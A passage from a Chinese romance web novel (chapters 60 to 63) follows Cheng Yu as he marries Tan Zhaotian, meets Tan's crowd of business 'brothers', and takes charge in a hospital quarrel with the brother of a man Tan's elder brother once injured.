“要是他们家有要求，要走什么流程，你来告诉我，我来给你们操办。” 又问：“你们要办婚礼吗？” 得到暂时不办的回答，江悦明点头道：“也行，这个不是很要紧，随你们。” 等谈兆天走了，江悦明又坐回来劝谈征：“你弟弟30了，不是二十三，更不是十三，不用你瞎操心，他也不是孩子，更不是傻子。” 谈征没多言，用茶台上的茶壶往小茶杯里倒茶，说：“等他狠狠栽一跤，他就知道拿钱砸人是错的。” 江悦明：“说来说去，你还是觉得程郁看中小天的钱，不是小天这个人，你不就是担心这个吗。” 江悦明跟着的一句话，彻底堵住了谈征的嘴。 江悦明说：“人，果然最后都会变成自己当初最讨厌的样子。” “你这样看待程郁，就像我爸妈看你。” “你觉得程郁看上的是钱，就像我爸妈觉得你这个社会瘤子配不上我这个部长的儿子一样。” 谈征倒茶的手倏地顿住。 他马上放下茶壶，去搂江悦明。 江悦明转过身，擦了擦有点泛红的眼角。 谈征马上软了态度，说：“我错了，是我固执。”“我不多管了，让他们结婚。” 江悦明转回来：“你眼光真的不好，你以后就知道了，只有程郁这样的，才能拿住你弟和你弟身边那群老油条混子。” 又说：“我早跟你们说过，兄弟别弄一堆，摊子别摊那么大，早晚出事。” “程郁这样的，才能劝住小天。” “你们兄弟那些乱七八糟的生意，必须有个能管住的人来管。” “好，好。” 谈征顺着，搂江悦明，又说：“生意的事我早不管了，随便那臭小子折腾。” “等他结婚了，就是他们夫夫去管。” “我们都不管，随他们去。” 谈征要去亲江悦明，被江悦明抬手捂住嘴：“起开，大白天的。” 谈征稍一用力，就把江悦明抱到了腿上，搂着去亲去哄了。 作者有话要说： 和大家说下啊，隔壁新文我开了，鉴于程郁这本我已经全部写完了（除了番外），新文也有存稿，所以大家不用担心更新的问题，我最近也一直在加更，尽量让大家每天多看一到两章。 如果，假如这本书后面有出了剧情或者人设不合适这样的问题，也不用担心，我全权负责，也有时间修稿，更不会耽误更新； anyway，我就双开啦，希望新文大家也能喜欢【比心】【魔蝎小说 mo xie xs .c om】 60-70 第61章 程郁也打过电话给他妈了，姜月惜对他要和谈兆天结婚这件事完全没有意见，非常支持和开心。 因此这晚在公寓，趁着看工作材料的闲暇，程郁穿着居家服坐在餐桌边，手里捧着手机，下载了一个黄历APP在翻看，想选个黄道吉日去领证。 程郁正看着手机，一旁的餐桌边，谈兆天靠着椅背、抱着胳膊，一直盯着程郁在看，眼神尤为的专注深沉。 嗯？ 程郁不解，从手机上抬起目光，看过去：“怎么了？” 程郁以为谈兆天有什么事。 谈兆天还一瞬不瞬地看着他，就像要看进到程郁的灵魂里。 “你干嘛？” 程郁问。 谈兆天这才坐起身，伸手来到程郁的脸旁，宽大的掌心抚了抚程郁的脸颊，说：“你能懂那种心情吗？” 程郁眼皮一抬，跟着就说：“哪种？娶到了喜欢的人的心情？像走过了千山万水、柳暗花明、拨云见日？” 谈兆天：“还是得上学有文化，我形容不出来，你一下就说出来了。” 程郁笑，手机不看了，桌上搁下，抬手，抓住了脸畔抚摸着他的那只大手，和男人交心道：“我也有一点不一样的心情，你知道是什么吗。” “嗯？” 谈兆天看着他。 程郁真诚的：“今年年初，至少上半年，我还是单身主义。” “今年年末，12月，我已经快结婚了。” “之前知道我大学时候一个单身主义的教授也在今年三月结婚的时候，我还很惊讶震惊。” “一转眼，我自己也要结婚了。” “你知道那种感觉吗？” 程郁也分享道：“会觉得人生真的好神奇啊。” 谈兆天深深地注视程郁。 程郁两只手握着谈兆天的手在掌心，继续分享着：“回忆起来的话，会觉得我们认识也没有很久，但又会觉得我们已经在一起、相互陪伴了不短的时间。” “而且想到我们结婚、未来我们会以法律都认可的身份永远在一起，嗯……那种感觉……” 程郁：“我也形容不出来。” 谈兆天这时靠近，偏头吻了吻程郁的唇，轻声又深情道：“我爱你。” 程郁捧了男人的脸，这一刻，整颗心都像浸泡在海水里，被充盈得格外的饱满。 他还不知道他喜不喜欢、有没有爱上谈兆天。 但如今他被爱着这件事，真的真的毫无疑问、不用怀疑。 于是程郁也去吻了吻谈兆天，说：“我以后也会爱你的。” “你当然爱我。” 谈兆天：“我从来没有怀疑过。” 程郁的心绪瞬间涌上，眼眶一下酸涩了。 他都不确定的事，谈兆天却是笃定的。 爱有如此大的力量吗。 程郁拥抱谈兆天，说：“不找日子了，和你在一起，每天都很开心，每天都是黄道吉日。” “我们想哪天去领证就哪天去。” 两天后，程郁和谈兆天手牵着手进了民政局的大门。 当天，那两册手掌大的红本分别被拍进了程郁和谈兆天的朋友圈。 爱刷朋友圈的江悦明第一时间看到，马上便惊喜不已，又把手机拿给正在浇花的谈征看：“结婚了，他们结婚了！” 【狗肉兄弟一辈子】： 【卧槽，天哥结婚了啊，他朋友圈都发结婚证了！】 【卧槽！！】 【卧槽！！！】 …… 程郁在领完证回公司后，想到什么，坐在电脑前，点开了自己学生时代的邮箱账号。 他给苏牧清发：教授您好，我是程郁，今天和您分享一个好消息，我结婚了…… 随邮箱附上了不久前才拍的结婚证的照片，以及他在朋友圈公布新婚时的一张与谈兆天十指相扣的手部照片。 他对苏牧清说：我还不能非常确定，这是不是我人生的目的地，但就目前来说，我真的非常幸福。 发送。 而妙的是，一个小时后，程郁就收到了苏牧清的回复。 苏牧清恭喜了他，并说和爱人分享了他的事，爱人也同样替他高兴。 苏牧清又说未来如果有什么需要，欢迎程郁来找他。 就当是他们两个前单身主义隔着网络交了个朋友。 也欢迎程郁以后发邮件过来分享他的幸福日常。 程郁看着苏牧清的邮件回复，对着电脑屏幕笑得十分灿烂。 当晚回公寓，程郁先到家，洗了个手，就去给一个人在家的老虎倒狗粮。 正倒着，大门一开，谈兆天进门就大声道：“老婆！” 程郁吓一跳，倒狗粮的手都抖了一下。 他好笑，扭头：“别那么大声。” “老婆，老婆。” 谈兆天拖鞋都不穿，边走进边喊：“老婆，老婆。” “听到啦。” 程郁诚恳的：“别喊了，老公先生。” 谈兆天听见这句老公，心里别提多爽了。 他当晚洗完澡躺床上，拿着手机，就把程郁拉到了他自己也在的兄弟大群里。 然后他发了个大红包，又@了程郁，马上，群里全是小弟边抢红包边打招呼： 【天嫂好。】 【嫂子好。】 【天嫂。】 …… 程郁拿着手机躺回床上，才看见，边给群加备注边惊讶：“三百多人的群？” “这都是小弟啊？” “这么多？” 谈兆天这才和程郁解释了下为什么会有这么多人： 当年下沙区有个电子厂，厂里全是改制后留下的老员工。 谈家当年也是这个厂里的，谈爸在电子厂几乎干了一辈子。 谈征那时候20出头，借钱贷款盘下了整个厂，运气好，没两年，碰上下沙区拆迁，得了大笔的拆迁款。 那时候厂里原来的一些子弟厂二代，就有很多跟着谈征混，下沙区一拆，谈征就带着一帮兄弟拿着钱到处买房、做生意、开店，那几年光炒房就赚了很多，谈征才25岁，就买了别墅开上了法拉利，特别的风光。 后来谈征去坐牢，就是谈兆天离开学校出来，接管了所有的生意。 如今的这一大帮子兄弟，少数几十个是从前电子厂的，其他的，基本都是一个带一个，认识了谈征谈兆天他们兄弟，跟着他们混。 混到今天，约莫300多人，人数没有特别多，但也绝对不少。 按照谈兆天的话，确实这些人一起出动，是会引起公安戒备的程度。 谈兆天解释：“生意很多很杂，这些人就管不同的店。” “有些和我熟，有些不那么熟，还有些照面都打得不多，在我手底下混口饭，混得不好不差。” 举例子：“像你知道的小赖，我本来不认识他，也不认识他小姑。他小姑和我手底下一个兄弟结婚，小赖才被介绍过来的，一开始在便利店打杂，后来上次帮你买包，我看他挺机灵的，就把他弄过来负责咖啡店。” “他在咖啡店经常和我打照面，我才和他算是熟了点儿。” 程郁想了想：“这么多生意，你一个人顾得过来吗？” 谈兆天：“顾不过来，所以很多都是小弟管。” “我不是这个意思。” 程郁：“算了，等回头找时间，你把这些和我捋一遍，我再看看到底是什么情况。” 谈兆天搂程郁：“你要管吗，老婆？” 程郁：“我也不是要管，结婚了么，总得知道自己老公究竟有多少生意吧，不然哪天出点什么状况，我什么都不知道，又得抓瞎。” 特意道：“对吧，老公？” “行。” 谈兆天：“改天我捋捋、翻翻账、整理下，给你看看大概情况。” “你是老板娘，你想管就管，不管就扔着我来。” 几天后，自己的酒店，谈兆天包了一整层的大厅，请了所有兄弟，介绍他们和程郁认识。 那规格，用程郁和江悦明的话：知道的是认识兄弟，不知道的，还以为码头拜大哥—— 足足摆了近50桌，所有兄弟都来了，有些还携家带口。 谈征和江悦明也来了，和程郁他们坐一桌。 谈兆天又准备了一大箱的红包，就摆在程郁脚边。 来一个兄弟，过来认嫂子、递名片、自我介绍、打招呼，谈兆天就坐在旁边给程郁介绍，程郁打招呼、发红包。 人数之多，亏得程郁脑子好，人际交往上又灵活，如今又是专门做人力资源的，记人方面有自己的一套，不然眼睛都得花了。 小赖也来了，跟着他姑姑和姑父。 姑姑姑父都喊程郁嫂子，程郁认识小姑，和他们聊了两句，又递上红包。 到小赖，小赖喊程郁：“程哥。” 程郁笑：“还是你嘴巴甜。” 给了小赖两个红包。 小赖开心地接了，小姑和姑父一看，也马上喊程郁程哥，谈兆天也多给了他们一个红包。 自这之后，过来和程郁认脸打招呼的，好多都喊程郁程哥。 谈兆天觉得这么喊也行，只要程郁高兴。 同桌的江悦明见了特别服气，小声对身边的谈征道：“看见了吗，有水平的人就是这样的，四两拨千斤，一点小举动，就能拨动一片的局面。” 就这样，程郁见了一个又一个小弟，发了一个又一个红包。 记住了每个人的样貌名字，也记住了谈兆天对他们的介绍和各人的一些性格特征。 他的脑子就像一个人事软件，给他们每个人都做了“登记”和标号标签。 第62章 等红包发得快差不多了，饭也吃得差不多了，没人来打招呼了，谈兆天觉得差不多了，以为所有的小弟都认识过了。 结果程郁道：“苏玉今天没来？” 谈兆天看向了桌上的一个大背头胖子，谈征和江悦明也下意识看了过去。 胖子叫连锋，建筑公司的合伙人，谈兆天的兄弟，关系很铁的那种。 连锋正捧着碗在喝海参汤，闻言差点呛一口，赶紧放下碗，擦擦嘴，起身：“我去捞他。” 又招呼程郁：“嫂子你等等啊，小孩子不懂事，你别和他计较。” 很快，苏玉被连锋扯着胳膊从某桌拉过来了。 果然是小孩子的样子，不情愿全写在脸上。 连锋边带他过来边扒拉他，像在训他，苏玉更不开心了。 等走近了，苏玉也不喊程郁，就喊谈兆天。 谈兆天没搭理苏玉，眼神示意连锋：这什么意思？ 连锋马上伸手拍苏玉的后脑勺：“叫人！” 苏玉不情不愿，像哼哼似的，声音从喉咙里挤出来：“嫂子。” 目光还是垂着的，不看程郁。 谈兆天的脸色几乎马上就落了，说：“这么不情愿还叫什么？滚蛋！” 苏玉急了：“天哥，我……” 程郁则笑笑，不慌不忙地向苏玉递上红包，淡定地说：“你天哥，你就别肖想了，现在是我的人了。” “你要是表现好，以后我给你介绍个男朋友，保证不比你天哥差。” “听到了吗听到了吗？” 连锋又拍苏玉的后脑，接着笑笑，从程郁手里替苏玉接过红包：“嫂子你别和他一般见识，小孩子，不懂事，就这样，都是家里我丈母娘他们惯的。” 说着把红包塞苏玉手里，把人扯走了。 程郁这时则幽幽看向谈兆天，斜着目光，说了句：“你不会都是这样的小弟吧？” “没有，绝对没有。” 谈兆天给程郁夹菜：“老婆你饿了吧，吃点东西。” 江悦明在一旁看得直笑。 他们不知道的是，那边，连锋把苏玉拎出了厅，捏捏男生的后颈，训道：“动不动脑子？你天哥征哥还有大嫂今天全在，你摆什么脸？给谁看？谁要看？” 苏玉伸手推开连锋捏自己的手，不爽道：“一个拜金捞男，还让我喊嫂子？凭什么！他配吗？！” “小点声！” 连锋抬腿就要扫过去。 又把人往一边的角落带，警告道：“这种话你心里想想，说出来等着挨揍？！” “姐夫！” 苏玉更不爽了。 连锋也气：“你自己不争气，怪谁？” “我特么让你脱光了往他床上躺，你自己不干，现在后悔了？晚了！” 苏玉跺脚：“姐夫！” “行了行了。” 连锋：“你那点心思，收收吧。婚都结了，去当小三还是二奶啊？” “别说你干不干，你天哥都不会要。” 苏玉急道：“难道就这么让那个捞男想干嘛就干嘛啊？” “以后你也要听那个捞男的吗！？” “我听什么听？” 连锋不屑道：“你天哥在，我卖他个面子。你天哥不在，我鸟他个吊。” “我跟着你天哥混的时候，那小子毛还没长齐呢。” “只有他听我的份，没有我听他的！” 这边，程郁和坐在身边的江悦明边吃菜边闲聊。 江悦明提醒道：“人多，不少人也没文化，脾气也差，思想也不端正，一个个混子，难管的。” 程郁淡定道：“就跟老板管员工、老师管学生一样，难管也得管。” 江悦明凑近：“找点机会，把威信建一建，如果有必要，再拉拢点人，自己得有‘势力’。” “我知道。” 程郁笑笑：“谢谢嫂子提醒我。别担心。” 江悦明也笑笑：“我不担心你，你聪明，知道该怎么做。” 顿了顿，垂眸夹菜吃着饭，眼皮一撩，看了看连锋那儿空着的座位，江悦明又凑向程郁，低声道：“你老公身边这个连锋，心眼子最多，你留神着点儿。” “他怎么了？” 程郁吃着菜，转头看了看江悦明。 “倒也不是他怎么了。” 江悦明解释：“他都把他小舅子介绍给你老公了，你‘空降’，他心里未必服你、真的喜欢你。” “我个人也不太喜欢他，我就提醒你一下。” 程郁点点头，心里有数。 次日，程郁去公司上班，就凭着记忆，花了点时间，做了这些小弟的人事档案。 他心里也清楚，这么多人，不可能各个都接纳他。 程郁其实无所谓这些人接纳不接纳，他反正是和谈兆天结婚过日子，不是和这些人。 但既然结了婚，夫夫一体，程郁就没有把谈兆天的这些所谓的小弟们都当无关紧要的人。 日子还长，他总有和这些人打交道的时候。 他在办公室琢磨，觉得江悦明提醒的对，他是有必要在这群人中建立威信的，就像老板要在公司建立威信一样。 程郁不着急，他有时间，觉得自己总会找到建立威信的机会。 不成想，这个机会来得这样快—— 前一晚，程郁在谈兆天洗澡的时候，还看见谈兆天随手丢在床上的手机亮起，屏幕显示“不接”。 第二天晚上，准备睡了，谈兆天接了个电话，不知听见手机那头说了什么，他拧眉坐起，掀开了被子，对手机那头道：“我现在过来。” 嗯？ 程郁不解，跟着坐起身：“有事？” “有点事。” 谈兆天没多解释，弯腰俯身，亲了亲程郁：“你先睡，不用等我。” “怎么了？” 程郁自然问。 “没什么。” 谈兆天脱着居家服：“一点小事。我处理完了就回来。” 换上衣服，踩着楼梯就快步走了。 程郁起先以为是生意上的什么事，完全没有多想，也没过心。 听见楼下的关门声，他就躺下了，不久睡着了。 凌晨两点，他醒了，下意识摸摸身边，空的，他一下就醒了。 几点了？ 程郁伸手去床头摸灯控，灯亮起，他拿手机看了看，两点了。 他这才不解，什么事啊，现在还没回来？ 程郁坐起来，拿手机给谈兆天打电话。 电话很快就通了，程郁率先开口：“在哪儿？怎么……” 电话那头骤然传来了尖锐的叫喊，接着是谈兆天冷着声音说：“你别太过份！” 程郁觉得不对，直起身，掀开被子下床。 他去拿衣服，同时冷静地问手机那头：“你在哪儿？” 程郁很果断：“给我定位，我现在过来。” 叫喊声没了，谈兆天说：“你不用过来，我很快回……” “你们欠我家的！” 又是一声尖锐的叫喊。 程郁冷静的：“给我定位，我过来，不要让我说第三遍！” 程郁下电梯的时候看见了手机上谈兆天发过来的定位，仔细一看，让程郁意外的，竟然是医院。 程郁心道到底出了什么事，上了宾利，车速开得很快。 到医院，程郁坐电梯上楼，按照谈兆天发来的详细的楼层号，去了9楼。 走出电梯，他还想，谈兆天没给他发具体的床位号，他不知道要去哪个病房找。 结果刚推开外面那道大门，就听见里面住院病房的走廊上传出喊叫声。 程郁马上循着声音快步走过去，走了没多远，就看见医院凌晨的走廊上，两个小弟、谈兆天、谈征、江悦明全在。 一个年轻男人不知道怎么了，抓着谈兆天的胳膊，哭喊着，说着程郁听不懂的含糊的内容。 程郁走过去，年轻男人还在扯着谈兆天的胳膊哭喊，谈兆天站在原地，紧紧蹙着眉心。 等程郁走近，江悦明和谈征都看见了他。 江悦明马上面露惊慌：“程郁。” 谈征原本拧着的眉头蹙得更紧了。 程郁这时很冷静，他看着谈兆天和年轻男人的方向，抬抬手，示意江悦明先别说话，让他看看情况。 看了会儿，从年轻男人的喊叫中，程郁连猜带拼的知道那个年轻男人到底是谁、现在又是什么情况了—— 谈征当年推倒、导致变成植物人的那个人，这么多年，不知出于什么原因，谈家兄弟俩一直在管。 今晚那人没预兆的，突然呼吸衰竭，进了抢救室，才救过来。 此刻那个扯着谈兆天胳膊哭喊的男人，就是那个植物人的亲弟弟。 亲弟弟情绪特别激动，哭诉谈家欠他们一辈子。 说着说着，甚至说：“我哥躺在床上一辈子人不人鬼不鬼，你有什么资格结婚！？” 男人喊出来的时候，谈兆天便扯了男人的胳膊怒喝了句“够了！”，江悦明也慌张地看向程郁。 程郁这时做了一件事—— 他在所有人都没有反应过来的情况下快步走过去，扯开男人的胳膊，“啪”的便扇过去巴掌。 这巴掌又利落又清脆，走廊里直接静了，谈兆天这才看见程郁，伸手搂他：“老婆，你别误会……” 被扇的男人捂着脸转过头，欲要开口，程郁扯开谈兆天准备搂他的手，干干脆脆抬手，又“啪”的给了男人一巴掌，同时，程郁冷静地说道：“这会儿站在这里的人，可能谁都欠你，唯独我不欠你。” “我老公，大半夜的，你拉扯什么？” 说完瞪向谈兆天，凶道：“还有你！” “这就是你说的‘一点小事’？” “你还有多少这类小事是我不知道的？” “刚结婚你就和别的男人拉扯，你当我是死的吗？！” 所有人：“……” 哭喊的男人噤声了，谈兆天闭着嘴，旁边两个小弟老老实实，江悦明默默站着，就连一脸凶相的谈征都敛起了神情。 作者有话要说： 从此之后，谈家就是程郁当家，谁不服扇谁[笑哭] 第63章 “你谁啊！？你凭什么打我！？我认识你吗！？” 詹塘面红耳赤，不知是因为被扇的，还是因为刚刚的哭喊大叫。 程郁抬手指他，不怒自威：“你！身上的外套是纪梵希的，裤子是lv的，鞋也是耐克的秋季限量款，今年刚发行！” “如果让我知道，买这些的钱全部是谈兆天给你的！” “那就有我一半！” “你信不信我给你全扒了！” 詹塘用不敢相信地目光看着程郁，神情和目光一下就虚了。 程郁直视他：“你给我等着。” 说完转身向谈兆天，同时抬手，看了看手腕上的表：“我给你五分钟，说清楚到底是怎么回事。” “你说不清楚，或者有什么隐瞒我，过了今天九点就去民政局，这婚谁爱跟你结谁结！” “程郁。” 江悦明一脸担忧，试图上前解释，被谈征拉住，摇了摇头。 谈兆天果断交待：“我说，我都跟你说。” “你别生气，我没有想故意蛮你。” 程郁想想就来气，伸手在谈兆天身上招呼了一巴掌，怒道：“那双耐克秋季限量版我都没舍得买！” “原来能花你钱的还有别人啊。” “你早说啊，早说结什么婚？！” 谈兆天试图去搂程郁，解释着：“他花的不是我的钱……” “别碰我！” 程郁挥开他的手。 十分钟后，在谈兆天的解释下，程郁总算知道到底是怎么回事： 当年，詹塘的哥哥詹茂在大排档和谈征发生口角和推搡，摔在马路牙子上，撞到了脑袋，变成了植物人。 监控视频被人发到网上，被人说成是hei社会杀人，产生了非常不好的社会影响，詹家在谈家当年负担了所有医药费以及赔偿了三百万的情况下，借此拒绝签谅解书，相关案件也受到舆论和公众的关注谴责。 谈兆天和江悦明商量后，承诺会管詹茂一辈子，又再给了詹家一百万，詹家才签了谅解书，谈征随后被判了六年半。 那时候詹塘年纪也小。 这些年，谈兆天和江悦明一直在负责詹家。 不但负责了所有医药费、营养费、护工等费用，也负担了詹家的大小开销，甚至是詹塘的学费、生活费。 詹塘今年大学毕业了，也是江悦明托关系送他进了家国企。 今晚，詹茂突发紧急情况，詹塘就有些不依不饶，这才发生了刚刚走廊里的那一幕。 但程郁多聪明，明明谈征也在，詹塘不抓谈征这个“罪魁祸首”，却抓着谈兆天，还张口闭口什么结婚不结婚，程郁便马上猜到，詹塘喜欢谈兆天。 而程郁是非常相信谈兆天的，他知道谈兆天绝对不可能和詹家人有什么不清不楚的暧昧，纯粹是詹塘剃头挑子一头热。 因此清楚了整个前因后果之后，程郁再次转向詹塘，不客气又凶狠地一把抓住詹塘那件纪梵希外套的领口，将人扯向自己，冷冷道：“你搞搞清楚，就算欠，也是我们家大哥欠你哥的，不欠你。” “今天，刚好是被我撞见了，第一次，我不跟你多计较。” “再有下次，你敢再给谈兆天打一个电话找他一次，我就停掉你们所有的医药费营养费护工费！” 詹塘又气又恼：“这些都是当初你们承诺给的！你们害死了我哥，我们家给你们签了谅解……” 程郁喝声打断他：“牢都坐完了！你现在能威胁谁？！” 程郁冷静果断的：“牢坐过了，钱也赔了，你们家也管着，你还想怎么样？” 程郁理直气壮地逼视詹塘：“我明了告诉你，现在这个家，我说了算！” “我点头，高兴了，管你们家。” “我不高兴了，一毛钱都不会再给你们。” “你不服，去告吧，或者发到网上，随便。” “你看我会不会再给你一分钱！再管你们家一毛！” 詹塘气得发抖，根本说不过程郁。 程郁从医院大楼快步出来的时候，谈兆天跟着他：“老婆，鱼鱼。” 程郁走得更快，同时扭头道：“别跟着我！别喊我！谁是你老婆？别碰我！” 谈兆天努力解释：“我不是故意要瞒你……” 程郁上了宾利就嘭一声合上门，同时锁上车，根本不给谈兆天开门的机会。 油门一踩，车就开出了车位，车屁股再一甩，很快消失在视野里。 这边，谈征和江悦明开车回家，一路沉默。 而他们沉默，不是因为詹家，是因为程郁。 他们夫夫完全没想到程郁这么的有……有…… 谈征开着车，摸了摸鼻子，有点心虚地说：“还挺……能担事儿的。” 谈征之前确实对程郁有点偏见，觉得程郁未必喜欢谈兆天，多少是冲着钱来的，这下完全改观了——捞钱的可不会多管这些，程郁的架势，那是奔着和谈兆天过一辈子去的。 而且程郁刚刚在医院的言行举止…… 谈征见了，谈征都有点被喝住了。 谈兆天回公寓的时候，程郁已经躺下睡觉了，连灯都关了。 谈兆天摸黑过去，床边蹲下。 他知道程郁没睡着，但也没有喊程郁，知道程郁需要休息，第二天还得上班。 他脱了衣服，摸黑躺回床上，刚一躺下，还没去搂程郁，程郁便马上翻身，屁股对着他，谈兆天无奈，想了下，最终没挨过去，怕程郁不高兴，到时候连床上都不肯待。 翌日早，程郁还是在谈兆天怀里醒过来的。 他一睁开眼睛，发现谈兆天搂着他，马上推开人、起床。 “鱼鱼。” 谈兆天也坐起来。 程郁头也不回地进了卫生间，根本不理他。 谈兆天跟着进卫生间，站在程郁身后，要从后面搂他，程郁刷着牙，转身抬腿就给了男人一脚，谈兆天从善如流地挨了一脚，赶紧抬手投降：“你刷，我不抱你。” 谈兆天下楼去弄早饭、顺便喂狗，程郁洗漱完，换好衣服，哒哒哒地走下楼，却根本不去餐桌边，摸了把老虎的狗头，就在玄关换鞋，径直走了。 但谈兆天不知道的是，程郁走后，在公司附近的咖啡店买早饭顺便等咖啡的时候，他拿着手机，搜了下多年前谈征和詹茂的那件事。 不知是不是事后有特意清理过网上的消息，程郁来回换了几个关键字，都没有搜出很多内容，有的，也几乎都是相关新闻，其中就有谈征被判刑的新闻。 “A116取餐。” 程郁听到自己的取餐号，这才放下手机。 程郁到公司的时候，谈兆天已经到了，不止他，还有老虎。 老虎独自一狗在外面公共办公区，不少同事围着它，都在摸它，还给它喂吃的。 程郁看见老虎，就知道谈兆天人到了、在办公室，心里哼一声，故意板上了脸，推门进了办公室。 谈兆天果然在，正站在程郁办公桌前，拿着程郁摆在桌上的一家三口的合照看。 见程郁端着咖啡拿着早饭进来，谈兆天把相框摆回去，马上开口道：“詹家的钱不是我给的，是我嫂子。这么多年都是这样。” “我也几乎不去医院，最多派几个弟兄，偶尔过去看看。” “我和詹茂的弟弟也什么事都没有。” “我除了没把他号码拉黑，基本他给我打电话，我都不会接。” “我昨晚也已经把他号码拉黑了。” “以后医院我都不去了。” 程郁根本不理，自顾脱了大衣外套坐去电脑前，边吃早饭边开电脑。 谈兆天绕过桌子要过去，程郁冷淡地说了句：“别影响我上班。” 谈兆天便没有过去，坐去了沙发，不妨碍程郁。 一个早上，程郁忙程郁的，谈兆天都在沙发那儿坐着，看着程郁，等，偶尔摸摸老虎。 老虎也很乖，大部分时间都在办公室里，时不时跟着程郁走进走出，程郁也会摸它，还拿办公室里的饼干喂它。 快中午了，程郁坐在电脑前看东西，谈兆天在沙发那儿不知做了什么，拍拍老虎的屁股，老虎迈步往程郁那儿走，绕过桌子，在程郁的椅子边坐下。 程郁低头一看，破功了——老虎嘴里叼着一支花。 那是大黑狗叼着花到他面前卖乖吗？ 当然不是。 是谈兆天。 是沙发那里的那个臭大老虎。 程郁禁不住吊了吊唇角，摸了把老虎的狗头，把花从老虎嘴里拿走了，但是依旧没说什么，继续去看电脑上的文件。 不久，谈兆天过来了，撑着胳膊俯身来到桌前，嘴里也叼着花。 程郁看见，要笑不笑，彻底破功。 谈兆天马上就绕过桌子，把程郁从椅子上拉起来，自己坐下，让程郁坐他腿上。 程郁不爽的语气：“走开！谁要坐你怀里啊！” 谈兆天咬着花，把人拉到怀里，接着把嘴里的花拿给了程郁：“当然坐我怀里，你是我老婆。” “我是个屁！” 程郁翻眼睛，挣着，不让谈兆天碰他。 谈兆天搂着他，温声耐心地解释：“不是故意不告诉你，确实没想得起来要跟你提一下那件事。” “很多年了，大家基本都不提了。” “我大哥出来之后，医院那边，基本上我们也只负责掏钱了。” “昨晚是因为詹茂突然发病，我大哥嫂子都过去了，我才过去的。” “我和詹茂的弟弟根本不熟，也什么事都没有。” “詹茂的弟弟确实喜欢纠缠我，总给我打电话。” “我知道他什么心思，所以他的电话我从来不接，也不跟他接触，有什么事都是让其他人去医院。” 程郁还是不爽：“你跟我解释什么，我不听。” “听的，当然要听。” 谈兆天哄着：“你是我老婆，我说的话，当然基本都是说给你听的。” 跟着道：“什么鞋，你喜欢，没舍得买？买！马上就去买！买它一百双、一千双，天天换着穿，穿完就扔，扔光了再买！” 程郁听了这不着调的话，终于再次破功。 他伸手用力地在男人胸口锤了一下，磨牙：“我让你有什么都要告诉我，原来还有这种事我不知道。” “要不是昨晚，你打算什么时候告诉我？” “一辈子不说吗？” 程郁不爽：“你真的很讨厌！” “我知道，我讨厌。” 谈兆天顺着，又亲了亲程郁的脸：“别生气了，我给你道歉。” 程郁看看男人：“你就是很讨厌。” 跟着继续不爽道：“詹家那个男生那么扒拉你，你干什么站着让他扒拉？” “你本来也不是会站着让谁对你做什么的人，怎么到了那个男生那儿，你就忍了？” 程郁心里明白：“还不是因为你们都觉得你们欠他们的。” 程郁：“我说句自私的，大马路上现在撞个人，撞人的都不会多管，只让保险去弄，该赔多少赔多少，其他都不会多管，赔完结束。” “你们倒好，牢都坐完回来了，现在还在管他们家。” “政府做扶贫也没你们这么负责！” 谈兆天马上道：“你觉得该怎样。你想怎么办，那我们就怎么办，听你的。” 跟着解释：“当年闹得沸沸扬扬，我和大嫂都怕了，为了他们家签谅解书，所以承诺了很多。” “这些年，一直管着，觉得也花不了多少钱，也就没有去想该不该继续管这个问题。” 承认：“确实在我们心里，觉得把人弄成植物人、不人不鬼的，我们家有责任，觉得亏欠他们。” 程郁理直气壮：“亏欠的没有补偿吗？没赔钱，还是没去坐牢？牢都坐完回来了，还要再去补偿多少？无底洞吗？还去养詹家所有人！？” 猜都能猜道：“那个什么詹塘，他一身名牌，是他家自己的钱？” “他靠他哥当植物人敛财吗？！” 谈兆天也很果断：“以后都不给了，都听你的。” 程郁还是不爽：“听什么听，不用听，我是谁，我谁都不是！” 又挣着，要起身。 谈兆天搂着他，哄：“别生气了，你生气，我看着就心慌。” 又去亲了亲脸：“我补偿你，嗯？好不好，我补偿你，给你转钱。” 程郁要凶不凶的样子：“谁要你的臭钱啊！” 谈兆天挺了挺腰：“那补这个？” 程郁锤他：“滚蛋！” 谈兆天亲他，又把手伸进衣服里摸，摸程郁的痒痒肉，程郁终于笑了，伸手锤男人、拍他：“讨厌死了！” 老虎这时候立着爪子扑腾过来，程郁摸摸它的头，谈兆天也摸摸它。 程郁没有再不开心了，正常神色语气道：“你整天带着它，都给它吃什么了，它怎么还在长啊，不会长成大型犬吧？” 谈兆天：“大点儿不是挺好的，当狼狗养。” 晚上，谈兆天就“补偿”了程郁，给了超级多。 程郁餍足地躺靠在男人怀里，说：“现在好好想想，还有什么没交代的，一次性都说了。” “不要改天再让我发现。” 谈兆天搂着程郁，当真特别认真地想了想：“没有了。” “我这里，剩下的你不知道的，除了认识你之前的日常，就是我有多少生意多少资产多少钱了。” “嗯。” 程郁闭着眼睛，搂贴在男人怀里：“生意资产不着急，以后再说。” “日常都是什么日常啊？” “有前男友吗？” “和多少人搞过暧昧啊。” “还有几个苏玉？” 谈兆天：“没有几个苏玉。连锋介绍过来，我不喜欢，就拒绝了。” “哼。” 程郁作：“谁知道你是真不喜欢还是假不喜欢。” 谈兆天：“你要不想苏玉留在公司，我就让连锋把他弄走。” 程郁这时拐了个话题，道：“你和连锋关系很好吗？” “嗯。” 谈兆天解释：“一起穿开裆裤长大的，他哥和我哥也是兄弟，当年一起在电子厂的。” “我后来没上学，出来了，他也一起出来了。” “除了你知道的建筑公司，其他还有几个生意，都是和他一起的。” “关系确实很好。” 程郁“嗯”了声，没说什么，就说：“我累了。” “睡吧。” 谈兆天亲亲他。 程郁又锤了他一下：“讨厌你！” 谈兆天闷笑，抓他锤人的手，又亲了下：“好，讨厌我，让你讨厌。” 程郁贴着男人，安心地睡了。 而就在当天，关于程郁到了医院如何掌掴詹塘的整个过程，被当时在医院的两个弟兄，添油加醋地在他们兄弟群里传开了。 弟兄们都是知道谈征当年坐牢的原因的，也知道谈兆天他们兄弟俩一直养着詹家全家，以前就有人私下说过，不该填这个无底洞，如今，知道程郁上去就给了詹塘两巴掌，一传开，不少人对程郁的印象一下突飞猛进。 弟兄群里夸程郁：【不愧是咱程哥啊。】 【天哥娶的老婆，果然是这个（大拇指.jpg）。】 【牛逼！】 没过几天，这日，江悦明想约程郁，谈征难得破天荒地主动道：“他们都结婚了，直接叫来家里吧。” “知道了。” 江悦明笑着，知道谈征算是认可程郁了。 至于詹家那边，詹塘那晚那么一闹，再来了程郁的两巴掌和决然的态度，谈兆天再不管詹家了，只负责詹茂在医院的费用，连护工的钱都不出了。 